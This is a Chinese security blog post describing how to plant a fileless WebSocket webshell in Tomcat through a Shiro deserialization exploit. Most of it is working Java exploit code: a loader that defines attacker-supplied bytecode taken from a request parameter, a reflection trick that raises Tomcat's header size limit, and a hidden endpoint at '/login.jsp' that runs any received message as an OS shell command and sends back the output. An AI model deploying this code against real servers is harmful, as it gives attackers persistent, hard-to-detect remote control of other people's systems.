shiro-websocket内存马

admin 2024年11月27日23:08:26评论12 views字数 14856阅读49分31秒阅读模式
shiro-websocket内存马

点击蓝字,关注我们吧!

shiro-websocket内存马

前言

新坑,关于shiro下注入内存马相关,起因有个师傅问我这么个情况:tomcat环境下shiro打CB反序列化的websocket内存马。调试后发现关于shiro这方面历史知识有点欠缺。

shiro-websocket内存马

踩坑总结

maxHeaderSize长度绕过

三种方案

1)修改maxHttpHeaderSize

Shiro 550 漏洞学习 (二):内存马注入及回显

http://wjlshare.com/archives/1545 ,直接修改

2)将class bytes使用gzip+base64压缩编码

tomcat结合shiro无文件webshell的技术研究以及检测方法

https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg ,将恶意byte压缩,在payload中调用classloader解压缩执行

3)从POST请求体中发送字节码数据

Java代码执行漏洞中类动态加载的应用

https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247484622&idx=1&sn=8ec625711dcf87f0b6abe67483f0534d

context与request获取

老生常谈了

Shiro 回显与内存马实现 | MYZXCG

https://myzxcg.com/2021/11/Shiro-%E5%9B%9E%E6%98%BE%E4%B8%8E%E5%86%85%E5%AD%98%E9%A9%AC%E5%AE%9E%E7%8E%B0/#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9B%9E%E6%98%BE

Java内存马:一种Tomcat全版本获取StandardContext的新方法

https://xz.aliyun.com/t/9914#toc-0

基于全局储存的新思路 | Tomcat的一种通用回显方法研究

https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3

Java安全之反序列化回显与内存马

https://www.cnblogs.com/nice0e3/p/14891711.html

shiro-websocket内存马

问题发现

CB链是调用TemplatesImpl进行加载字节码,流程为:

shiro-websocket内存马
TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass()

该字节码所对应的类必须继承于 AbstractTranslet,但是websocket内存马的实现也是需要一个类去继承于 Endpoint 。这种情况该怎么去构造?

shiro-websocket内存马

尝试解决

内部类

利用内部类尝试写入

websocket.java

shiro-websocket内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.websocket.server.WsServerContainer;import javax.websocket.DeploymentException;import javax.websocket.Endpoint;import javax.websocket.EndpointConfig;import javax.websocket.Session;import javax.websocket.server.ServerContainer;import javax.websocket.server.ServerEndpointConfig;import java.io.InputStream;public class websocket extends AbstractTranslet {    class socket extends Endpoint {        private Session session;        public void onOpen(Session session, EndpointConfig config) {            this.session = session;            this.session.addMessageHandler(new MessageHandler());        }        private class MessageHandler implements javax.websocket.MessageHandler.Whole<String> {            public void onMessage(String message) {                try {                    boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");                    Process exec;                    if (iswin) {                        exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});                    } else {                        exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});                    }                    InputStream ips = exec.getInputStream();                    StringBuilder sb = new StringBuilder();                    int i;                    while((i = ips.read()) != -1) {                        sb.append((char)i);                    }                    ips.close();                    exec.waitFor();                    session.getBasicRemote().sendText(sb.toString());                } catch (Exception e) {                    e.printStackTrace();                }            }        }    }    static {        System.out.println("[+]-------before exp-------");        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();        System.out.println(standardContext);        System.out.println("---------standardContext-------");        WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());        System.out.println(attribute);        System.out.println("---------attribute-------");        socket so = new websocket().new socket();        ServerEndpointConfig build = ServerEndpointConfig.Builder.create(so.getClass(), "/login.jsp").build();        System.out.println(build);        System.out.println("---------build-------");        System.out.println("[+]------after exp------");        try {            attribute.addEndpoint(build);            System.out.println("ok!");        } catch (DeploymentException e) {            throw new RuntimeException(e);        }    }    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}

尝试很多次都是在创建 ServerEndpointConfig 时失败,具体原因先跳过。

shiro-websocket内存马

shiro-websocket内存马

自定义Classloader

能不能将payload和exp分开,CB链目的是去动态加载我们传入的字节码,socket内存马的字节码我们可以通过POST方式去获取。中间桥梁可以通过类加载的操作去实现。

通过 Tomcat的一种通用回显方法研究 ,只需要拿到request就可了。

exp.java:

shiro-websocket内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.connector.Connector;import org.apache.catalina.connector.Request;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.nio.charset.StandardCharsets;import java.util.ArrayList;import java.util.Base64;public class exp extends AbstractTranslet {    public static class TestClassLoader extends ClassLoader{        public Class x(byte[] bytes){            return super.defineClass(null,bytes,0,bytes.length);        }    }    static {        try{            //获取service属性            StandardContext standardContext= (StandardContext) ((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext();            Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");            context.setAccessible(true);            ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);            Field servicef=applicationContext.getClass().getDeclaredField("service");            servicef.setAccessible(true);            StandardService service=(StandardService) servicef.get(applicationContext);            //获取connector            Connector[] connectors=service.findConnectors();            Connector connector=connectors[0];            //获取global            AbstractProtocol abstractProtocol= (AbstractProtocol) connector.getProtocolHandler();            Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");            getHandler.setAccessible(true);            Object connectionHandler=getHandler.invoke(abstractProtocol);            Method getGlobal=Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal");            RequestGroupInfo global= (RequestGroupInfo) getGlobal.invoke(connectionHandler);            //获取request            Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");            processorsf.setAccessible(true);            ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global);            RequestInfo requestInfo=processors.get(0);            Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");            req.setAccessible(true);            Request request2=(Request) ((org.apache.coyote.Request) req.get(requestInfo)).getNote(1);            byte[] bytes=Base64.getDecoder().decode(request2.getParameter("code").getBytes(StandardCharsets.UTF_8));            Method defineClass=Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);            defineClass.setAccessible(true);            Class x= (Class) defineClass.invoke(exp.class.getClassLoader(),bytes,0,bytes.length);            x.newInstance();        } catch (NoSuchFieldException e) {            e.printStackTrace();        } catch (ClassNotFoundException e) {            e.printStackTrace();        } catch (InvocationTargetException e) {            e.printStackTrace();        } catch (IllegalAccessException e) {            e.printStackTrace();        } catch (NoSuchMethodException e) {            e.printStackTrace();        }  catch (InstantiationException e) {            e.printStackTrace();        }    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}

payload.java:

shiro-websocket内存马
import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.tomcat.websocket.server.WsServerContainer;import javax.websocket.DeploymentException;import javax.websocket.Endpoint;import javax.websocket.EndpointConfig;import javax.websocket.Session;import javax.websocket.server.ServerContainer;import javax.websocket.server.ServerEndpointConfig;import java.io.InputStream;public class payload extends Endpoint {    static{        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();        ServerEndpointConfig build = ServerEndpointConfig.Builder.create(payload.class, "/login.jsp").build();        WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());        try {            attribute.addEndpoint(build);        } catch (DeploymentException e) {            throw new RuntimeException(e);        }    }    private Session session;    @Override    public void onOpen(Session session, EndpointConfig config) {        this.session = session;        this.session.addMessageHandler(new MessageHandler());    }    private class MessageHandler implements javax.websocket.MessageHandler.Whole<String> {        @Override        public void onMessage(String message) {            try {                boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");                Process exec;                if (iswin) {                    exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});                } else {                    exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});                }                InputStream ips = exec.getInputStream();                StringBuilder sb = new StringBuilder();                int i;                while((i = ips.read()) != -1) {                    sb.append((char)i);                }                ips.close();                exec.waitFor();                session.getBasicRemote().sendText(sb.toString());            } catch (Exception e) {                e.printStackTrace();            }        }    }}

在测试的过程中又出现新的问题,HTTP头部长度太大,这牵扯到一个新问题 maxHeadersize绕过,解决方案如下:

通过反射修改 org.apache.coyote.http11.AbstractHttp11Protocol 的maxHeaderSize的大小(默认长度8192),这个值会影响新的Request的inputBuffer时的对于header的限制。但由于request的inputbuffer会复用,所以在修改完maxHeaderSize之后,需要多个连接同时访问(burp开多线程跑),让tomcat新建request的inputbuffer,这时候的buffer的大小就会使用修改后的值。

shiro-websocket内存马

shiro-websocket内存马

修改maxHeadersize

shiro-websocket内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class maxlen extends AbstractTranslet {    static {        try {            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");            java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);            contextField.setAccessible(true);            headerSizeField.setAccessible(true);            serviceField.setAccessible(true);            requestField.setAccessible(true);            getHandlerMethod.setAccessible(true);            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();            for (int i = 0; i < connectors.length; i++) {                if (4 == connectors[i].getScheme().length()) {                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {                        Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();                        for (int j = 0; j < classes.length; j++) {                            // org.apache.coyote.AbstractProtocol$ConnectionHandler                            if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {                                java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");                                java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");                                globalField.setAccessible(true);                                processorsField.setAccessible(true);                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));                                java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);                                for (int k = 0; k < list.size(); k++) {                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));                                    // 10000 为修改后的 headersize                                    headerSizeField.set(tempRequest.getInputBuffer(),10000);                                }                            }                        }                        // 10000 为修改后的 headersize                        ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);                    }                }            }        } catch (Exception e) {        }    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}

修改完headersize后,传参数

shiro-websocket内存马

shiro-websocket内存马

这回的websocket连接状态已经改变,但是连接出现问题。

shiro-websocket内存马

shiro-websocket内存马

日志

shiro-websocket内存马

shiro-websocket内存马

看来是payload种的MessageHandler中出现问题,重写一下payload.java

shiro-websocket内存马
import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.tomcat.websocket.server.WsServerContainer;import javax.websocket.DeploymentException;import javax.websocket.Endpoint;import javax.websocket.EndpointConfig;import javax.websocket.Session;import javax.websocket.server.ServerContainer;import javax.websocket.server.ServerEndpointConfig;import java.io.InputStream;public class payload extends Endpoint implements javax.websocket.MessageHandler.Whole<String>{    static{        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();        ServerEndpointConfig build = ServerEndpointConfig.Builder.create(payload.class, "/login.jsp").build();        WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());        try {            attribute.addEndpoint(build);        } catch (DeploymentException e) {            throw new RuntimeException(e);        }    }    private Session session;    @Override    public void onMessage(String s) {        try {            Process process;            boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");            if (bool) {                process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });            } else {                process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });            }            InputStream inputStream = process.getInputStream();            StringBuilder stringBuilder = new StringBuilder();            int i;            while ((i = inputStream.read()) != -1)                stringBuilder.append((char)i);            inputStream.close();            process.waitFor();            session.getBasicRemote().sendText(stringBuilder.toString());        } catch (Exception exception) {            exception.printStackTrace();        }    }    @Override    public void onOpen(final Session session, EndpointConfig config) {        this.session = session;        session.addMessageHandler(this);    }}

成功

shiro-websocket内存马

shiro-websocket内存马

原文始发于微信公众号(山海之关):shiro-websocket内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月27日23:08:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   shiro-websocket内存马https://cn-sec.com/archives/1946641.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息